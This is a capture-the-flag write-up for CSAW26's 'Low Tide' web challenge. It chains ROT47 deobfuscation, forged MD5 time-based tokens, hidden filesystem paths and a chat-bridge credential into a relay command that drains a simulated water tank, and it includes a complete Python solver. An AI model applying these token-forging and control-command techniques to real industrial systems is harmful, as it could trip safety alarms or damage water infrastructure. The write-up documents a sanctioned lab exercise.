$ / 17 min read/web

Low Tide

A five-stage SCADA proxy chain: deobfuscate a gateway address, forge a time-derived token, walk a virtual filesystem, authenticate to a chat bridge, then issue a control command — against a load balancer where only one of four workers answers.

section
CSAW26
event
ctf.csaw.io ↗
category
web
status
● solved

The service emits it uppercase (csaw{REDACTED}); submit lowercase to match the CTF’s flag format.

A water treatment utility’s remote monitoring system has been left online with an old technician login page still reachable. The login does not work anymore, but the page was never actually taken down.

A five-stage chain: deobfuscate a JS gateway address → forge a time-derived gateway token → walk a virtual filesystem → authenticate to a chat bridge with a second token scheme → issue a SCADA control command through a relay proxy.


0. Architecture

Component Host Role
Frontend low-tide.ctf.csaw.io static Nginx — the decoy login page
Backend low-tide-lb.ctf.csaw.io Gunicorn/Flask — all real behaviour
ALB web-alb-prod-680046691.us-east-1.elb.amazonaws.com both names resolve here

Only /station/checkin/... is routed to Flask. Bare /api/v1 or /api/v2 prefixes on the LB host return Flask 404 — every API call must be nested under /station/checkin/.

Four simulated station workers sit behind the ALB, each with its own baseline clock:

Station Baseline date
st-01 2018-07-12
st-02 2015-06-10
st-03 2016-08-20
st-04 2019-03-15

Only st-04 serves the relay route. This matters enormously — see §7.


1. Frontend deobfuscation

The landing page is static and its login form is inert (POST returns Nginx 405). The real target is what assets/app.js reaches in the background.

1.1 The gateway address (ROT47 → hex → ASCII)

app.js contains a blob that is not plaintext:

4@?DE vp%t(p* lQ9EEADi^^=@H\E:56\=3]4E7]4D2H]:@^DE2E:@?^4964<:?Q

ROT47 (rotate printable ASCII 33–126 by 47) decodes it:

def rot47(s):
    return "".join(chr(33 + ((ord(c) - 33 + 47) % 94)) if 33 <= ord(c) <= 126 else c
                   for c in s)

Yielding:

const GATEWAY = "https://low-tide-lb.ctf.csaw.io/station/checkin";

Some copies of the payload carry a hex-encoded tail; decode hex first, then ROT47. A corrupted prefix on the first decode attempt is a common stumbling block — verify the result parses as a valid URL before trusting it.

1.2 The required User-Agent

app.js declares const REQUIRED_AGENT = and leaves it blank. The value comes from robots.txt, which carries five candidates in comments:

StationSync-Agent/2.1
FieldSync-Client/3.0
MonitorAgent/2.2
StationSync-Agent/2.0
RelayCheck-Bot/1.9

Only StationSync-Agent/2.1 is accepted. The others (notably RelayCheck-Bot/1.9) receive no session cookie and see only a frozen legacy clock at 2019-01-02T03:14:07Z — a decoy, not a second auth path.

1.3 renderStatus (red herring)

The function is obfuscated by even/odd character interleaving: characters at even indices form one line, odd indices the other. Deinterleaving yields ordinary DOM code touching status-light / status-text. No secrets.

1.4 robots.txt disallow entries (red herring)

/internal-monitor/ and /relay-status/ are Nginx 404s on the frontend and not_found through the authenticated filesystem. Dead ends.


2. Gateway authentication

POST /station/checkin
User-Agent: StationSync-Agent/2.1
action=checkin

Sets a 16-hex-character sid cookie and pins the connection to one worker. Sending action=checkin&token=probe returns the worker’s simulated clock:

{"reason":"code_mismatch: expected token derived from current sync time",
 "result":"rejected","sync_time":"2019-03-15T16:35:32Z"}

The clock advances in real time from its fake baseline. The token is:

token = md5(sid + str(int(unix_epoch_of_station_sync_time)))
import hashlib, datetime
ep = int(datetime.datetime.strptime(sync_time, "%Y-%m-%dT%H:%M:%SZ")
         .replace(tzinfo=datetime.UTC).timestamp())
token = hashlib.md5((sid + str(ep)).encode()).hexdigest()

Accepted response:

{"result":"accepted","role":"system_check","station_id":"st-04",
 "directory_api":"/api/v1/st-04/"}

This token is used for every subsequent call and must be regenerated each time — the clock moves, so a token is valid for roughly one second.


3. Virtual filesystem

Reachable at /station/checkin/api/v1/<station_id>/<path>, POST form with action=checkin + a fresh token. A bare GET returns unsupported_action. Rate limited: HTTP 429 with retry_after: 5.

The tree is identical on all four stations.

/                        {"entries":["station.log","config/"],"type":"directory"}
/station.log
/config/                 {"entries":["sync.conf","relay-bot.js","relay_chat.js"]}
/.logs/                  {"entries":["err_3005.log"]}     <-- NOT in any listing

Key trick: .logs/ never appears in a directory listing. It is discoverable only because station.log names it:

[st-04] routine check-in ok
[st-04] heartbeat nominal
[st-04] disk usage 34%
[st-04] cron: backup job completed
[st-04] WARN: stale handler dump written to .logs/err_3005.log
[st-04] heartbeat nominal

Follow the breadcrumbs:

  • .logs/err_3005.log → chat bridge relocated: config/relay_chat.js
  • config/relay-bot.js (base64) →
    // integration failed
    // see error 3005 in logs
    // token rotation broke auth
    

    (The “token rotation” line is a red herring — it lures you into brute-forcing rotating token schemes for the relay. The relay does not use one.)

  • config/relay_chat.js →
    // chat bridge moved here after the v1 migration
    // endpoint: v2/chat
    // see sync.conf for the auth handshake, never finished porting it over
    
  • config/sync.conf →
    chat bridge auth: Authorization: Bot <token>
    token=md5(station_id+MMM+DD+YY+HH+MM) all lowercase/zero-padded, e.g. mar05191324
    params: id=<message id, batch of 5>
    

Exhaustive search for relay documentation (config/relay.conf, config/.relay/, .config/, config/control.conf, …) returns not_found. The relay handshake is deliberately undocumented — unlike the chat bridge.


4. Chat bridge

GET /station/checkin/api/v2/chat?id=<n>
Authorization: Bot <md5(station_id + strftime("%b%d%y%H%M").lower())>

e.g. md5("st-04mar15191834"). Returns batches of 5 starting at id. 60 messages total; 5-second throttle. id=61 → invalid_id; id=0/-1 are indexing quirks returning the first batch, not a pre-retention archive.

The archive is read-only — posting control verbs returns unsupported_action. Messages 45–60 carry everything needed:

# Content
45–46 plan to wire system health checks into an admin control panel
49 “we’re only exposing raise and lower on the water level” (pump on/off not exposed)
53 “I’ll wire the relay through station 4, it’s the only one with the proxy route set up”
55 “yeah, 4f9a-77c2-e01d, admin box is at 10.10.14.31 same as always”
56 “if the level swings too far either direction the system throws a hard alarm, so don’t test with big values unless you mean it”
57 “don’t want to be the guy who floods or drains the tank testing a raise/lower endpoint”

Message 56 is the win condition stated as a warning.


5. The relay

Route: POST /station/checkin/relay — no trailing slash. /relay/ is not a route.

5.1 Mapping the gates

Each gate is a distinct rejection reason, which lets you bisect the request shape:

Request state Response
wrong worker (st-01/02/03) unsupported_action
no X-Relay-Target invalid_relay_target
target present, no cmd invalid_command
bad/stale gateway token code_mismatch
cmd valid, key missing/wrong relay_auth_failed
everything correct accepted + relay{} object

5.2 The working request

POST /station/checkin/relay HTTP/1.1
Host: low-tide-lb.ctf.csaw.io
User-Agent: StationSync-Agent/2.1
X-Relay-Target: http://10.10.14.31/
X-Relay-Key: 4f9a-77c2-e01d
Cookie: sid=<session sid>
Content-Type: application/x-www-form-urlencoded

action=checkin&token=<md5(sid+station_epoch)>&cmd=CMD:WATER:LOWER:50

Three non-obvious requirements:

  1. action stays checkin. action=raise/lower/control are invalid actions that divert into a branch which never reaches the token check.
  2. The control instruction goes in cmd, colon-delimited: CMD:WATER:LOWER:<magnitude>. Not command, not action.
  3. The relay key is a header. X-Relay-Key. As form key / relay_key / code / auth, or as Authorization: Bot|Relay <key>, it fails.

The target must also be a header (X-Relay-Target); as a form field the request stays at invalid_relay_target.

5.3 Response

{"relay":{"alarm":"LOW LEVEL",
          "flag":"csaw{REDACTED}",
          "status":"critical",
          "water_level":20},
 "result":"accepted","role":"system_check","station_id":"st-04"}

Lowering the tank drives water_level to 20, trips the LOW LEVEL alarm, and releases the flag — the behaviour message 56 warned about, and the reason the challenge is called Low Tide.


6. Full solver

import requests, hashlib, time, datetime

LB  = "https://low-tide-lb.ctf.csaw.io"
UA  = "StationSync-Agent/2.1"
KEY = "4f9a-77c2-e01d"
HDR = {"X-Relay-Target": "http://10.10.14.31/", "X-Relay-Key": KEY}

class Station:
    def __init__(self):
        self.s = requests.Session()
        self.s.headers["User-Agent"] = UA
        self.sid = None

    def post(self, path, data=None, headers=None, tries=8):
        for _ in range(tries):
            r = self.s.post(f"{LB}{path}", data=data or {},
                            headers=headers or {}, timeout=25)
            if r.status_code == 429:                  # honour the throttle
                try:   w = float(r.json().get("retry_after", 5))
                except Exception: w = 5
                time.sleep(w + 0.4); continue
            return r
        return r

    def boot(self):
        self.post("/station/checkin", {"action": "checkin"})
        self.sid = self.s.cookies.get("sid")

    def station_epoch(self):
        j = self.post("/station/checkin",
                      {"action": "checkin", "token": "probe"}).json()
        t = j.get("sync_time")
        if not t: return None
        return int(datetime.datetime.strptime(t, "%Y-%m-%dT%H:%M:%SZ")
                   .replace(tzinfo=datetime.UTC).timestamp())

    def token(self):
        return hashlib.md5((self.sid + str(self.station_epoch())).encode()).hexdigest()

    def auth(self):
        return self.post("/station/checkin",
                         {"action": "checkin", "token": self.token()}).json()

# Only st-04 serves the relay; the ALB assigns a worker per connection,
# so keep opening sessions until one lands on st-04.
while True:
    st = Station(); st.boot()
    if st.auth().get("station_id") == "st-04":
        break
    time.sleep(1.5)

r = st.post("/station/checkin/relay",
            {"action": "checkin", "token": st.token(),
             "cmd": "CMD:WATER:LOWER:50"}, HDR)
print(r.status_code, r.text)

7. Pitfalls that cost the most time

7.1 Station drift silently changes the answer

Only st-04 serves the relay. The other three workers answer the identical request with unsupported_action. The ALB assigns a worker per connection and requests.Session keep-alive does not reliably pin one.

Observed live, within a single session object:

action=lower                    code_mismatch        [after = st-04 lost]
action=lower value=50           unsupported_action   [after = st-03]   <- never reached the relay
action=control command=lower    unsupported_action   [after = st-03]   <- never reached the relay

Two probes were logged as “parameter doesn’t work” when they had in fact executed against a station with no relay route at all.

Rule: unsupported_action means wrong worker — retry, never wrong parameter. Confirm station_id == "st-04" in the same connection immediately before (ideally also after) any relay probe, and discard drifted results.

7.2 The /relay/<anything> catch-all is a false positive

/relay/raise, /relay/lower, /relay/50, and /relay/bogus all return

{"result":"accepted","role":"system_check", ...}

This is the generic heartbeat, not a successful command — /relay/bogus succeeding proves the subpath is never validated. Direction is not encoded in the path.

7.3 The token was never the problem

action=raise returning code_mismatch while action=checkin returned invalid_command looks like an action-bound token. It is not: raise is simply an invalid action whose branch never reaches the token check. Combined with relay-bot.js’s “token rotation broke auth” comment, this can consume hours of brute-forcing per-second and per-minute token schemes that were never needed.

7.4 Self-inflicted rate limiting produces silent empty results

Each probe costs ~5 requests (boot, sync, auth, sync, relay). Once 429s begin, retry_after=5 backoffs compound. One sweep ran a full 560-second budget, exited cleanly with status 0, and wrote zero bytes — every request consumed by backoff sleeps. A single isolated request returns in 0.9 s, so the service is not blocking; the volume is self-inflicted.

Rule: print a line per candidate even on failure, so an exhausted budget is distinguishable from a genuine negative.


7.5 The command schema and parameter name are not derivable

This is the one part of the challenge that is not solvable from the artifacts, and it is where the most time went.

Every earlier stage documents itself. station.log names .logs/err_3005.log. err_3005.log names config/relay_chat.js. relay_chat.js names v2/chat and points at sync.conf. sync.conf then spells out the chat bridge handshake completely — parameter names, token construction, even a worked example:

chat bridge auth: Authorization: Bot <token>
token=md5(station_id+MMM+DD+YY+HH+MM) all lowercase/zero-padded, e.g. mar05191324
params: id=<message id, batch of 5>

Nothing equivalent exists for the relay. An exhaustive search of the virtual filesystem — config/relay.conf, config/.relay/, config/.relay.conf, .config/, config/control.conf, config/relay-sync.conf, .logs/relay.log, and the same names on all four stations — returns not_found every time. The two relay-adjacent files that do exist are deliberately empty of specification:

// relay-bot.js
// integration failed
// see error 3005 in logs
// token rotation broke auth        <- actively misleading; see 7.3

So both halves of the final request have to be guessed blind:

The parameter name. The relay reads cmd. Attempts covered command, action, value, magnitude, amount, level, delta, mag, units, percent, feet, inches, qty, steps, direction, and combinations — all rejected identically. Nothing in the response text distinguishes “unknown parameter” from “wrong value”, so the failures carry no gradient to follow.

The command schema. The value must be CMD:WATER:LOWER:<magnitude> — a four-field colon-delimited string. The chat log says only that raise and lower are exposed on the water level (msg 49); it never shows the wire format. Attempts covered bare verbs (raise, lower), space-separated pairs (lower 50), and other delimiters (lower:50, lower=50, lower,50, lower/50, -50, +50) — none of which is the required shape. The literal CMD: prefix and the WATER subsystem field are not hinted at anywhere in the source, the filesystem, or the chat archive.

This was ultimately supplied by Hint 3:

The relay expects its control command in the cmd parameter using this structure: CMD:WATER:LOWER:

Worth noting for anyone replaying this: the interesting, discoverable work ends at the chat bridge. The relay’s remaining barrier is a two-part guess with a flat error surface and no feedback, and time spent there is better spent on the hint. The relay-bot.js “token rotation” comment makes it worse by pointing at a credential problem that does not exist (7.3), which is what pulled the investigation toward brute-forcing token formulas instead of the command format.


8. Attack chain summary

static page (decoy)
  └─ app.js  ── ROT47/hex ─→ GATEWAY url
  └─ robots.txt ─────────→ User-Agent: StationSync-Agent/2.1
       └─ POST /station/checkin ─→ sid cookie + simulated clock
            └─ token = md5(sid + station_epoch)
                 └─ /api/v1/<st>/ virtual filesystem
                      └─ station.log ─→ .logs/err_3005.log   (unlisted)
                           └─ config/relay_chat.js ─→ config/sync.conf
                                └─ chat token = md5(station_id + %b%d%y%H%M)
                                     └─ /api/v2/chat ─→ relay key + admin IP
                                          └─ POST /station/checkin/relay
                                               X-Relay-Target + X-Relay-Key
                                               cmd=CMD:WATER:LOWER:50
                                                    └─ LOW LEVEL alarm ─→ FLAG

## challenge files

51 files · 481 KB
  • stage1/
  • stage2/
  • assets/
download .zip

flags redacted; flag images and local flag.txt files removed